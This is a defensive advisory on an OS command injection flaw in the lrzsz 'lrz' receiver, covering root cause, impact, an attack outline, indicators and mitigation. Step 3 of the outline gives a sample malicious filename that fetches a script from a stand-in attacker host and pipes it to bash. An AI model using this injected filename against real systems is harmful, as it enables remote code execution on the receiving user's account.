CVE-2026-105841: 
Rocky Linux vulnerability analysis and mitigation

CVE-2026-105841 is an OS command injection vulnerability in lrzsz, a free implementation of the ZMODEM/YMODEM/XMODEM file transfer protocols. The flaw exists in the lrz receive utility's pipe mode and affects all versions of lrzsz before 0.13.0. It was published on October 6, 2026, with patches and advisories released the same day. The vulnerability carries a CVSS v3.1 score of 7.5 (High) and a CVSS v4.0 score of 7.7 (High) (GitHub Advisory, Red Hat Bugzilla).

The root cause is improper neutralization of special elements used in an OS command (CWE-78). Specifically, when lrz is invoked under a suffixed name such as lrztar, the procheader() function in src/lrz.c passes the ZMODEM/YMODEM-negotiated filename directly to popen() without sanitizing or escaping shell metacharacters. A remote sender can craft a malicious filename containing shell metacharacters (e.g., ;, |, `, $()) that are then interpreted and executed by the shell as the receiving user. Exploitation requires the receiving user to initiate or accept a file transfer session, and the lrz binary must be running under a suffixed name to trigger the vulnerable code path (GitHub Advisory, Red Hat Bugzilla).

Successful exploitation allows an unauthenticated remote attacker to execute arbitrary OS commands with the privileges of the receiving user. This results in high impact to confidentiality, integrity, and availability of the affected system — an attacker could read sensitive files, modify system data, install backdoors, or disrupt services. The scope is limited to the vulnerable system itself (no lateral movement to subsequent systems is indicated by the CVSS scoring), but the receiving user's account and all data accessible to it are fully at risk (GitHub Advisory).

As of the disclosure date, there is no public proof-of-concept exploit and no evidence of in-the-wild exploitation (GitHub Advisory). The EPSS score is approximately 0.948% (60th percentile), indicating a relatively low but non-negligible probability of exploitation within 30 days. The CVE status is listed as "Deferred" and the NVD SSVC assessment notes exploitation as "none" at time of publication. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities catalog. Exploitation is constrained by the requirement that lrz must be running under a suffixed name and that a user must participate in a file transfer session (GitHub Advisory).

1. Reconnaissance: Identify systems running lrzsz versions prior to 0.13.0 where lrz is invoked under a suffixed name such as lrztar (e.g., via terminal emulators, SSH sessions with ZMODEM auto-download enabled, or BBS-style setups).
2. Initiate file transfer: Establish a ZMODEM or YMODEM file transfer session with the target receiver — this may require the attacker to be on the sending side of a serial link, SSH session, or network connection where the receiver has initiated or accepted a transfer.
3. Craft malicious filename: Prepare a file with a name containing shell metacharacters, such as exploit;curl http://attacker.com/shell.sh|bash or $(malicious_command).
4. Transmit crafted filename: Send the ZMODEM/YMODEM protocol header containing the crafted filename to the receiving lrz process.
5. Command execution: The procheader() function in src/lrz.c passes the unescaped filename to popen(), causing the shell to interpret and execute the embedded metacharacters as the receiving user, achieving arbitrary command execution (GitHub Advisory, Red Hat Bugzilla).

• Logs: Unexpected shell commands appearing in system audit logs (e.g., auditd) attributed to the user running lrz or lrztar; unusual popen()-spawned processes in application logs.
• Process: Unexpected child processes spawned by lrz or lrztar (e.g., curl, wget, bash, sh, nc) visible via ps or process monitoring tools.
• Network: Outbound network connections from the receiving host to unknown external IPs initiated by the user running lrz, particularly shortly after a file transfer session.
• File System: Unexpected new files, scripts, or binaries created in the receiving user's home directory or /tmp following a ZMODEM/YMODEM transfer session.

Upgrade lrzsz to version 0.13.0 or later, which addresses the unescaped filename passed to popen() (GitHub Advisory). If upgrading immediately is not possible, avoid invoking lrz under suffixed names such as lrztar, as the vulnerable code path is only triggered in that configuration. Additionally, restrict ZMODEM/YMODEM file transfers to trusted sources only, disable auto-download features in terminal emulators where not needed, and run lrz with the minimum required privileges to limit the impact of any successful exploitation (Red Hat Bugzilla).